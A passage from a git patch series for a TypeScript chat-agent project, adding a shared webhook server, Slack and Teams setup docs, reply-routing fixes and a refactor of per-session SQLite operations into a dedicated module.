attempt = 0; + while (true) { + try { + await adapter.setup(setup); + break; + } catch (err) { + if (err instanceof NetworkError && attempt < SETUP_RETRY_DELAYS_MS.length) { + const delay = SETUP_RETRY_DELAYS_MS[attempt]!; + log.warn('Channel adapter setup failed with network error, retrying', { + channel: name, + attempt: attempt + 1, + delayMs: delay, + err: err.message, + }); + await sleep(delay); + attempt += 1; + continue; + } + throw err; + } + } activeAdapters.set(adapter.channelType, adapter); log.info('Channel adapter started', { channel: name, type: adapter.channelType }); } catch (err) { From 53e12a627ffa0ee69ea1623afcf0afc0369f52ab Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Sun, 12 Apr 2026 10:43:42 +0000 Subject: [PATCH 114/485] chore(v2): drop session-DB schema band-aid in writeSessionRouting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The forward-compat CREATE TABLE IF NOT EXISTS papered over a stale-DB problem we don't need to support — the canonical INBOUND_SCHEMA in src/db/schema.ts already creates session_routing for every fresh session DB. Pre-existing local DBs that predate the schema entry are treated as garbage and recreated, not migrated. Schema is the single source of truth; write paths shouldn't carry defensive table-creation logic. --- src/session-manager.ts | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/src/session-manager.ts b/src/session-manager.ts index aad0717..8f05e28 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -176,16 +176,6 @@ export function writeSessionRouting(agentGroupId: string, sessionId: string): vo db.pragma('journal_mode = DELETE'); db.pragma('busy_timeout = 5000'); try { - // Lightweight forward-compat: create the table for older session DBs - // that predate this column. - db.exec(` - CREATE TABLE IF NOT EXISTS session_routing ( - id INTEGER PRIMARY KEY CHECK (id = 1), - channel_type TEXT, - platform_id TEXT, - thread_id TEXT - ); - `); db.prepare( `INSERT INTO session_routing (id, channel_type, platform_id, thread_id) VALUES (1, @channel_type, @platform_id, @thread_id) From 9476a80ab097aa6ffd9a1fbb0d5e751c1c9ff374 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Sun, 12 Apr 2026 12:33:45 +0000 Subject: [PATCH 115/485] feat(v2): shared webhook server for webhook-based channel adapters Adds a shared HTTP server (port 3000, configurable via WEBHOOK_PORT) that routes incoming webhooks to the correct Chat SDK adapter by path (e.g. /api/webhooks/slack, /api/webhooks/teams). Required by Slack, Teams, GitHub, Linear, and other non-gateway adapters. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/chat-sdk-bridge.ts | 59 +++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index df3e305..8302afd 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -306,6 +306,11 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }; startGateway(); log.info('Gateway listener started', { adapter: adapter.name }); + } else { + // Non-gateway adapters (Slack, Teams, GitHub, etc.) — register on the shared webhook server + const webhookPath = `/api/webhooks/${adapter.name}`; + registerWebhookAdapter(webhookPath, adapter); + log.info('Webhook adapter registered', { adapter: adapter.name, path: webhookPath }); } log.info('Chat SDK bridge initialized', { adapter: adapter.name }); @@ -549,3 +554,57 @@ async function handleForwardedEvent( }); await adapter.handleWebhook(fakeRequest, {}); } + +/** + * Shared public webhook server for all webhook-based adapters. + * Each adapter registers a path (e.g. /api/webhooks/slack, /api/webhooks/teams). + * The server listens on a single port (default 3000, configurable via WEBHOOK_PORT env var). + */ +const webhookAdapters = new Map(); +let sharedWebhookServer: http.Server | null = null; + +function registerWebhookAdapter(path: string, adapter: Adapter): void { + webhookAdapters.set(path, adapter); + if (!sharedWebhookServer) { + const port = parseInt(process.env.WEBHOOK_PORT || '3000', 10); + sharedWebhookServer = http.createServer((req, res) => { + const matchedAdapter = req.url ? webhookAdapters.get(req.url) : undefined; + if (req.method === 'POST' && matchedAdapter) { + const chunks: Buffer[] = []; + req.on('data', (chunk: Buffer) => chunks.push(chunk)); + req.on('end', async () => { + try { + const body = Buffer.concat(chunks).toString(); + const headers: Record = {}; + for (const [key, val] of Object.entries(req.headers)) { + if (typeof val === 'string') headers[key] = val; + } + const request = new Request(`http://localhost${req.url}`, { + method: 'POST', + headers, + body, + }); + const response = await matchedAdapter.handleWebhook!(request, { + waitUntil: (p: Promise) => { p.catch(() => {}); }, + }); + const responseBody = await response.text(); + const responseHeaders: Record = { 'Content-Type': 'application/json' }; + response.headers.forEach((v, k) => { responseHeaders[k] = v; }); + res.writeHead(response.status, responseHeaders); + res.end(responseBody); + } catch (err) { + log.error('Webhook handler error', { url: req.url, err }); + res.writeHead(500); + res.end('{"error":"internal"}'); + } + }); + } else { + res.writeHead(404); + res.end('Not found'); + } + }); + sharedWebhookServer.listen(port, '0.0.0.0', () => { + log.info('Shared webhook server started', { port, paths: [...webhookAdapters.keys()] }); + }); + } +} From a9f9eda9f831637d069f030d20957941f3b551ca Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Sun, 12 Apr 2026 12:33:56 +0000 Subject: [PATCH 116/485] docs(slack-v2): update skill with DM setup, webhook URL, and reinstall step Corrects webhook URL to /api/webhooks/slack, adds Enable DMs step (App Home > Messages Tab), documents reinstall requirement after adding event subscriptions, and adds webhook server section. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-slack-v2/SKILL.md | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index 3d652f7..a7c8e39 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -43,9 +43,20 @@ npm run build - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` 4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) 5. Go to **Basic Information** and copy the **Signing Secret** -6. Go to **Event Subscriptions**, enable events, and subscribe to: - - `message.channels`, `message.groups`, `message.im`, `app_mention` -7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) + +### Enable DMs + +6. Go to **App Home** and enable the **Messages Tab** +7. Check **"Allow users to send Slash commands and messages from the messages tab"** + +### Event Subscriptions + +8. Go to **Event Subscriptions** and toggle **Enable Events** +9. Set the **Request URL** to `https://your-domain/api/webhooks/slack` — Slack will send a verification challenge; it must pass before you can save +10. Under **Subscribe to bot events**, add: + - `message.channels`, `message.groups`, `message.im`, `app_mention` +11. Click **Save Changes** +12. Slack will show a banner asking you to **reinstall the app** — click it to apply the new event subscriptions ### Configure environment @@ -58,6 +69,10 @@ SLACK_SIGNING_SECRET=your-signing-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` +### Webhook server + +The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/slack` for Slack and other webhook-based adapters. This port must be publicly reachable from the internet for Slack to deliver events. + ## Next Steps If you're in the middle of `/setup`, return to the setup flow now. @@ -68,7 +83,8 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. - **type**: `slack` - **terminology**: Slack has "workspaces" containing "channels." Channels can be public (#general) or private. The bot can also receive direct messages. -- **how-to-find-id**: Right-click a channel name > "View channel details" — the Channel ID is at the bottom (starts with C). Or copy the channel link — the ID is the last segment of the URL. +- **platform-id-format**: `slack:{channelId}` for channels (e.g., `slack:C0123ABC`), `slack:{dmId}` for DMs (e.g., `slack:D0ARWEBLV63`) +- **how-to-find-id**: Right-click a channel name > "View channel details" — the Channel ID is at the bottom (starts with C). For DMs, the ID starts with D. Or copy the channel link — the ID is the last segment of the URL. - **supports-threads**: yes - **typical-use**: Interactive chat — team channels or direct messages - **default-isolation**: Same agent group for channels where you're the primary user. Separate agent group for channels with different teams or sensitive contexts. From 7e74bfd330d8a4c1e230f413481580509f3ca6fe Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Sun, 12 Apr 2026 12:34:09 +0000 Subject: [PATCH 117/485] feat(v2): Teams adapter env-driven app type and updated skill docs Teams adapter now reads TEAMS_APP_TYPE and TEAMS_APP_TENANT_ID from env, supporting both MultiTenant (default) and SingleTenant configs. Updated add-teams-v2 skill docs with full Azure Bot setup flow, webhook endpoint format, and app package sideloading instructions. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-teams-v2/SKILL.md | 27 ++++++++++++++++++++++----- src/channels/teams.ts | 4 +++- 2 files changed, 25 insertions(+), 6 deletions(-) diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 20324f3..8f91aa1 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -31,10 +31,20 @@ npm run build ## Credentials -1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create**. -2. Configure the messaging endpoint: `https://your-domain/webhook/teams`. -3. Add the **Microsoft Teams** channel. -4. Note the **App ID** and **Password** from the Azure AD app registration. +### Create Azure Bot + +1. Go to [Azure Portal](https://portal.azure.com) > search **Azure Bot** > **Create** +2. Choose **Multi Tenant** (default) or **Single Tenant** depending on your org setup +3. After creation, go to **Configuration**: + - Copy the **Microsoft App ID** + - Note the **App Tenant ID** (shown for Single Tenant) + - Set **Messaging endpoint** to `https://your-domain/api/webhooks/teams` +4. Click **Manage Password** > **Certificates & secrets** > **New client secret** — copy the Value immediately (shown only once) +5. Go to **Channels** > add **Microsoft Teams** > Accept terms > Apply + +### Create Teams App Package + +Create a `manifest.json` with your App ID, zip it with two icon PNGs (32x32 outline, 192x192 color), and sideload in Teams via **Apps** > **Manage your apps** > **Upload a custom app**. Sideloading requires Teams admin or a developer tenant (free via Microsoft 365 Developer Program). ### Configure environment @@ -42,11 +52,18 @@ Add to `.env`: ```bash TEAMS_APP_ID=your-app-id -TEAMS_APP_PASSWORD=your-app-password +TEAMS_APP_PASSWORD=your-client-secret +# For Single Tenant only: +TEAMS_APP_TENANT_ID=your-tenant-id +TEAMS_APP_TYPE=SingleTenant ``` Sync to container: `mkdir -p data/env && cp .env data/env/env` +### Webhook server + +The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/teams` for Teams and other webhook-based adapters. This port must be publicly reachable from the internet for Azure Bot Service to deliver activities. + ## Next Steps If you're in the middle of `/setup`, return to the setup flow now. diff --git a/src/channels/teams.ts b/src/channels/teams.ts index f184bfe..0ddf4bd 100644 --- a/src/channels/teams.ts +++ b/src/channels/teams.ts @@ -10,11 +10,13 @@ import { registerChannelAdapter } from './channel-registry.js'; registerChannelAdapter('teams', { factory: () => { - const env = readEnvFile(['TEAMS_APP_ID', 'TEAMS_APP_PASSWORD']); + const env = readEnvFile(['TEAMS_APP_ID', 'TEAMS_APP_PASSWORD', 'TEAMS_APP_TENANT_ID', 'TEAMS_APP_TYPE']); if (!env.TEAMS_APP_ID) return null; const teamsAdapter = createTeamsAdapter({ appId: env.TEAMS_APP_ID, appPassword: env.TEAMS_APP_PASSWORD, + appType: (env.TEAMS_APP_TYPE as 'SingleTenant' | 'MultiTenant') || undefined, + appTenantId: env.TEAMS_APP_TENANT_ID || undefined, }); return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent', supportsThreads: true }); }, From b140b3655b9e73fa5a3d2f9b2377d409cc42abe5 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Sun, 12 Apr 2026 12:34:21 +0000 Subject: [PATCH 118/485] fix(agent-runner): reply to originating channel in single-destination shortcut When an agent has one configured destination (e.g. Discord) but receives a message from a different channel (e.g. Slack), the single-destination shortcut was routing replies to the destination instead of the originating channel. Now uses the inbound message's routing context (channel_type, platform_id) when available, falling back to the destination table only when routing context is absent. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/poll-loop.ts | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 208c89a..2e401af 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -365,9 +365,23 @@ function dispatchResultText(text: string, routing: RoutingContext): void { .replace(/[\s\S]*?<\/internal>/g, '') .trim(); - // Single-destination shortcut: the agent wrote plain text and has exactly - // one destination. Send the entire cleaned text to it. + // Single-destination shortcut: the agent wrote plain text — send to + // the session's originating channel (from session_routing) if available, + // otherwise fall back to the single destination. if (sent === 0 && scratchpad) { + if (routing.channelType && routing.platformId) { + // Reply to the channel/thread the message came from + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: scratchpad }), + }); + return; + } const all = getAllDestinations(); if (all.length === 1) { sendToDestination(all[0], scratchpad, routing); From 2376c88aaf23fcf0c83439ae8b853c3f4bc56d1a Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Sun, 12 Apr 2026 13:31:29 +0000 Subject: [PATCH 119/485] docs(v2): add delivery-failure-feedback to system actions checklist --- docs/v2-checklist.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 86c8b45..b5c1196 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -262,6 +262,7 @@ Container skills live inside agent containers at runtime (`container/skills/`) a - [ ] register_group from inside agent - [ ] reset_session from inside agent +- [ ] Delivery failures should round-trip back to the agent as system messages so it can decide how to recover (retry as plain text, simplify, give up), with a hard retry cap + poison-pill backstop in delivery.ts to keep the queue healthy ## Integrations From 669a8444ef691438f467f72716fc6fb1a79e0800 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 12 Apr 2026 16:50:03 +0300 Subject: [PATCH 120/485] refactor(v2): extract session DB operations into src/db/session-db.ts Move all raw SQL out of session-manager, delivery, and host-sweep into a dedicated DB module. Make session schemas idempotent (IF NOT EXISTS) so initSessionFolder always applies them. Revert the markdown plain-text retry from 4c477ac. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/chat-sdk-bridge.ts | 32 +--- src/db/schema.ts | 14 +- src/db/session-db.ts | 288 ++++++++++++++++++++++++++++++++ src/delivery.ts | 104 ++++-------- src/host-sweep.ts | 107 +++--------- src/session-manager.ts | 101 +++-------- 6 files changed, 376 insertions(+), 270 deletions(-) create mode 100644 src/db/session-db.ts diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 8302afd..0ed32fd 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -14,12 +14,10 @@ import { Button, Modal, TextInput, - markdownToPlainText, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage, } from 'chat'; -import { ValidationError } from '@chat-adapter/shared'; import { log } from '../log.js'; import { SqliteStateAdapter } from '../state-sqlite.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; @@ -380,30 +378,12 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter data: f.data, filename: f.filename, })); - try { - if (fileUploads && fileUploads.length > 0) { - const result = await adapter.postMessage(tid, { markdown: text, files: fileUploads }); - return result?.id; - } else { - const result = await adapter.postMessage(tid, { markdown: text }); - return result?.id; - } - } catch (err) { - // Permanent formatting failure (e.g. Telegram MarkdownV2 entity parse error): - // retry once as plain text so the queue isn't blocked forever. - if (err instanceof ValidationError) { - log.warn('Markdown rejected by adapter, retrying as plain text', { - adapter: adapter.name, - err: err.message, - }); - const plain = markdownToPlainText(text); - const result = await adapter.postMessage(tid, plain); - if (fileUploads && fileUploads.length > 0) { - await adapter.postMessage(tid, { markdown: '', files: fileUploads }); - } - return result?.id; - } - throw err; + if (fileUploads && fileUploads.length > 0) { + const result = await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + return result?.id; + } else { + const result = await adapter.postMessage(tid, { markdown: text }); + return result?.id; } } else if (message.files && message.files.length > 0) { // Files only, no text diff --git a/src/db/schema.ts b/src/db/schema.ts index acffa22..6f8a803 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -78,7 +78,7 @@ CREATE TABLE pending_questions ( /** Host-owned: inbound messages + delivery tracking + destination map. */ export const INBOUND_SCHEMA = ` -CREATE TABLE messages_in ( +CREATE TABLE IF NOT EXISTS messages_in ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, kind TEXT NOT NULL, @@ -95,7 +95,7 @@ CREATE TABLE messages_in ( -- Host tracks delivery outcomes for messages_out IDs. -- Avoids writing to outbound.db (container-owned). -CREATE TABLE delivered ( +CREATE TABLE IF NOT EXISTS delivered ( message_out_id TEXT PRIMARY KEY, platform_message_id TEXT, status TEXT NOT NULL DEFAULT 'delivered', @@ -106,7 +106,7 @@ CREATE TABLE delivered ( -- Host overwrites on every container wake AND on demand (admin rewires, new child agents, etc.). -- Container queries this live on every lookup, so admin changes take effect -- mid-session without requiring a container restart. -CREATE TABLE destinations ( +CREATE TABLE IF NOT EXISTS destinations ( name TEXT PRIMARY KEY, display_name TEXT, type TEXT NOT NULL, -- 'channel' | 'agent' @@ -120,7 +120,7 @@ CREATE TABLE destinations ( -- and thread_id. Container reads it in send_message / ask_user_question / -- trigger_credential_collection to default the channel/thread of outbound -- messages when the agent doesn't specify an explicit destination. -CREATE TABLE session_routing ( +CREATE TABLE IF NOT EXISTS session_routing ( id INTEGER PRIMARY KEY CHECK (id = 1), channel_type TEXT, platform_id TEXT, @@ -130,7 +130,7 @@ CREATE TABLE session_routing ( /** Container-owned: outbound messages + processing acknowledgments. */ export const OUTBOUND_SCHEMA = ` -CREATE TABLE messages_out ( +CREATE TABLE IF NOT EXISTS messages_out ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, in_reply_to TEXT, @@ -147,7 +147,7 @@ CREATE TABLE messages_out ( -- Container tracks processing status here instead of updating messages_in. -- Host reads this to know which messages have been processed. -- On container startup, stale 'processing' entries are cleared (crash recovery). -CREATE TABLE processing_ack ( +CREATE TABLE IF NOT EXISTS processing_ack ( message_id TEXT PRIMARY KEY, status TEXT NOT NULL, status_changed TEXT NOT NULL @@ -156,7 +156,7 @@ CREATE TABLE processing_ack ( -- Persistent key/value state owned by the container. Used (among other things) -- to store the SDK session ID so the agent's conversation resumes across -- container restarts. Cleared by /clear. -CREATE TABLE session_state ( +CREATE TABLE IF NOT EXISTS session_state ( key TEXT PRIMARY KEY, value TEXT NOT NULL, updated_at TEXT NOT NULL diff --git a/src/db/session-db.ts b/src/db/session-db.ts new file mode 100644 index 0000000..73dc139 --- /dev/null +++ b/src/db/session-db.ts @@ -0,0 +1,288 @@ +/** + * SQL operations on per-session inbound/outbound DBs. + * + * These are NOT the central app DB — they're the cross-mount SQLite files + * shared between host and container. Callers own the connection lifecycle + * (open-write-close per op). See session-manager.ts header for invariants. + */ +import Database from 'better-sqlite3'; + +import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './schema.js'; + +/** Apply the inbound or outbound schema to a DB file. Idempotent. */ +export function ensureSchema(dbPath: string, schema: 'inbound' | 'outbound'): void { + const db = new Database(dbPath); + db.pragma('journal_mode = DELETE'); + db.exec(schema === 'inbound' ? INBOUND_SCHEMA : OUTBOUND_SCHEMA); + db.close(); +} + +/** Open the inbound DB for a session (host reads/writes). */ +export function openInboundDb(dbPath: string): Database.Database { + const db = new Database(dbPath); + db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); + return db; +} + +/** Open the outbound DB for a session (host reads only). */ +export function openOutboundDb(dbPath: string): Database.Database { + const db = new Database(dbPath, { readonly: true }); + db.pragma('busy_timeout = 5000'); + return db; +} + +export function upsertSessionRouting( + db: Database.Database, + routing: { channel_type: string | null; platform_id: string | null; thread_id: string | null }, +): void { + db.prepare( + `INSERT INTO session_routing (id, channel_type, platform_id, thread_id) + VALUES (1, @channel_type, @platform_id, @thread_id) + ON CONFLICT(id) DO UPDATE SET + channel_type = excluded.channel_type, + platform_id = excluded.platform_id, + thread_id = excluded.thread_id`, + ).run(routing); +} + +export interface DestinationRow { + name: string; + display_name: string | null; + type: 'channel' | 'agent'; + channel_type: string | null; + platform_id: string | null; + agent_group_id: string | null; +} + +export function replaceDestinations(db: Database.Database, entries: DestinationRow[]): void { + const tx = db.transaction((rows: DestinationRow[]) => { + db.prepare('DELETE FROM destinations').run(); + const stmt = db.prepare( + `INSERT INTO destinations (name, display_name, type, channel_type, platform_id, agent_group_id) + VALUES (@name, @display_name, @type, @channel_type, @platform_id, @agent_group_id)`, + ); + for (const row of rows) stmt.run(row); + }); + tx(entries); +} + +// --------------------------------------------------------------------------- +// messages_in +// --------------------------------------------------------------------------- + +/** Next even seq number for host-owned inbound.db. */ +function nextEvenSeq(db: Database.Database): number { + const maxSeq = (db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; + return maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); +} + +export function insertMessage( + db: Database.Database, + message: { + id: string; + kind: string; + timestamp: string; + platformId: string | null; + channelType: string | null; + threadId: string | null; + content: string; + processAfter: string | null; + recurrence: string | null; + }, +): void { + db.prepare( + `INSERT INTO messages_in (id, seq, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) + VALUES (@id, @seq, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, + ).run({ + ...message, + seq: nextEvenSeq(db), + }); +} + +export function insertTask( + db: Database.Database, + task: { + id: string; + processAfter: string; + recurrence: string | null; + platformId: string | null; + channelType: string | null; + threadId: string | null; + content: string; + }, +): void { + db.prepare( + `INSERT INTO messages_in (id, seq, timestamp, status, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, datetime('now'), 'pending', 0, @processAfter, @recurrence, 'task', @platformId, @channelType, @threadId, @content)`, + ).run({ + ...task, + seq: nextEvenSeq(db), + }); +} + +export function cancelTask(db: Database.Database, taskId: string): void { + db.prepare( + "UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')", + ).run(taskId); +} + +export function pauseTask(db: Database.Database, taskId: string): void { + db.prepare("UPDATE messages_in SET status = 'paused' WHERE id = ? AND kind = 'task' AND status = 'pending'").run( + taskId, + ); +} + +export function resumeTask(db: Database.Database, taskId: string): void { + db.prepare("UPDATE messages_in SET status = 'pending' WHERE id = ? AND kind = 'task' AND status = 'paused'").run( + taskId, + ); +} + +export function countDueMessages(db: Database.Database): number { + return ( + db + .prepare( + `SELECT COUNT(*) as count FROM messages_in + WHERE status = 'pending' + AND (process_after IS NULL OR process_after <= datetime('now'))`, + ) + .get() as { count: number } + ).count; +} + +export function markMessageFailed(db: Database.Database, messageId: string): void { + db.prepare("UPDATE messages_in SET status = 'failed' WHERE id = ?").run(messageId); +} + +export function retryWithBackoff(db: Database.Database, messageId: string, backoffSec: number): void { + db.prepare( + `UPDATE messages_in SET tries = tries + 1, process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, + ).run(messageId); +} + +export function getMessageForRetry( + db: Database.Database, + messageId: string, + status: string, +): { id: string; tries: number } | undefined { + return db.prepare('SELECT id, tries FROM messages_in WHERE id = ? AND status = ?').get(messageId, status) as + | { id: string; tries: number } + | undefined; +} + +export interface RecurringMessage { + id: string; + kind: string; + content: string; + recurrence: string; + process_after: string | null; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; +} + +export function getCompletedRecurring(db: Database.Database): RecurringMessage[] { + return db + .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") + .all() as RecurringMessage[]; +} + +export function insertRecurrence( + db: Database.Database, + msg: RecurringMessage, + newId: string, + nextRun: string | null, +): void { + db.prepare( + `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ).run(newId, nextEvenSeq(db), msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); +} + +export function clearRecurrence(db: Database.Database, messageId: string): void { + db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(messageId); +} + +export function syncProcessingAcks(inDb: Database.Database, outDb: Database.Database): void { + const completed = outDb + .prepare("SELECT message_id FROM processing_ack WHERE status IN ('completed', 'failed')") + .all() as Array<{ message_id: string }>; + + if (completed.length === 0) return; + + const updateStmt = inDb.prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'"); + inDb.transaction(() => { + for (const { message_id } of completed) { + updateStmt.run(message_id); + } + })(); +} + +export function getStuckProcessingIds(outDb: Database.Database): string[] { + return ( + outDb.prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'").all() as Array<{ + message_id: string; + }> + ).map((r) => r.message_id); +} + +// --------------------------------------------------------------------------- +// messages_out (read-only from host) +// --------------------------------------------------------------------------- + +export interface OutboundMessage { + id: string; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; +} + +export function getDueOutboundMessages(db: Database.Database): OutboundMessage[] { + return db + .prepare( + `SELECT * FROM messages_out + WHERE (deliver_after IS NULL OR deliver_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as OutboundMessage[]; +} + +// --------------------------------------------------------------------------- +// delivered +// --------------------------------------------------------------------------- + +export function getDeliveredIds(db: Database.Database): Set { + return new Set( + (db.prepare('SELECT message_out_id FROM delivered').all() as Array<{ message_out_id: string }>).map( + (r) => r.message_out_id, + ), + ); +} + +export function markDelivered(db: Database.Database, messageOutId: string, platformMessageId: string | null): void { + db.prepare( + "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, ?, 'delivered', datetime('now'))", + ).run(messageOutId, platformMessageId ?? null); +} + +export function markDeliveryFailed(db: Database.Database, messageOutId: string): void { + db.prepare( + "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, NULL, 'failed', datetime('now'))", + ).run(messageOutId); +} + +/** Ensure the delivered table has columns added after initial schema. */ +export function migrateDeliveredTable(db: Database.Database): void { + const cols = new Set( + (db.prepare("PRAGMA table_info('delivered')").all() as Array<{ name: string }>).map((c) => c.name), + ); + if (!cols.has('platform_message_id')) { + db.prepare('ALTER TABLE delivered ADD COLUMN platform_message_id TEXT').run(); + } + if (!cols.has('status')) { + db.prepare("ALTER TABLE delivered ADD COLUMN status TEXT NOT NULL DEFAULT 'delivered'").run(); + } +} diff --git a/src/delivery.ts b/src/delivery.ts index 368b2f9..e884efb 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -7,7 +7,7 @@ * - Tracks delivery in inbound.db's `delivered` table (host-owned) * - Never writes to outbound.db — preserves single-writer-per-file invariant */ -import Database from 'better-sqlite3'; +import type Database from 'better-sqlite3'; import fs from 'fs'; import path from 'path'; @@ -28,6 +28,17 @@ import { } from './db/agent-groups.js'; import { createDestination, getDestinationByName, hasDestination, normalizeName } from './db/agent-destinations.js'; import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; +import { + getDueOutboundMessages, + getDeliveredIds, + markDelivered, + markDeliveryFailed, + migrateDeliveredTable, + insertTask, + cancelTask, + pauseTask, + resumeTask, +} from './db/session-db.js'; import { log } from './log.js'; import { openInboundDb, @@ -215,30 +226,12 @@ async function deliverSessionMessages(session: Session): Promise { try { // Read all due messages from outbound.db (read-only) - const allDue = outDb - .prepare( - `SELECT * FROM messages_out - WHERE (deliver_after IS NULL OR deliver_after <= datetime('now')) - ORDER BY timestamp ASC`, - ) - .all() as Array<{ - id: string; - kind: string; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - content: string; - }>; - + const allDue = getDueOutboundMessages(outDb); if (allDue.length === 0) return; // Filter out already-delivered messages using inbound.db's delivered table - const deliveredIds = new Set( - (inDb.prepare('SELECT message_out_id FROM delivered').all() as Array<{ message_out_id: string }>).map( - (r) => r.message_out_id, - ), - ); - const undelivered = allDue.filter((m) => !deliveredIds.has(m.id)); + const delivered = getDeliveredIds(inDb); + const undelivered = allDue.filter((m) => !delivered.has(m.id)); if (undelivered.length === 0) return; // Ensure platform_message_id column exists (migration for existing sessions) @@ -247,11 +240,7 @@ async function deliverSessionMessages(session: Session): Promise { for (const msg of undelivered) { try { const platformMsgId = await deliverMessage(msg, session, inDb); - inDb - .prepare( - "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, ?, 'delivered', datetime('now'))", - ) - .run(msg.id, platformMsgId ?? null); + markDelivered(inDb, msg.id, platformMsgId ?? null); deliveryAttempts.delete(msg.id); resetContainerIdleTimer(session.id); } catch (err) { @@ -264,11 +253,7 @@ async function deliverSessionMessages(session: Session): Promise { attempts, err, }); - inDb - .prepare( - "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, NULL, 'failed', datetime('now'))", - ) - .run(msg.id); + markDeliveryFailed(inDb, msg.id); deliveryAttempts.delete(msg.id); } else { log.warn('Message delivery failed, will retry', { @@ -428,19 +413,6 @@ async function deliverMessage( return platformMsgId; } -/** Ensure the delivered table has new columns (migration for existing sessions). */ -function migrateDeliveredTable(db: Database.Database): void { - const cols = new Set( - (db.prepare("PRAGMA table_info('delivered')").all() as Array<{ name: string }>).map((c) => c.name), - ); - if (!cols.has('platform_message_id')) { - db.prepare('ALTER 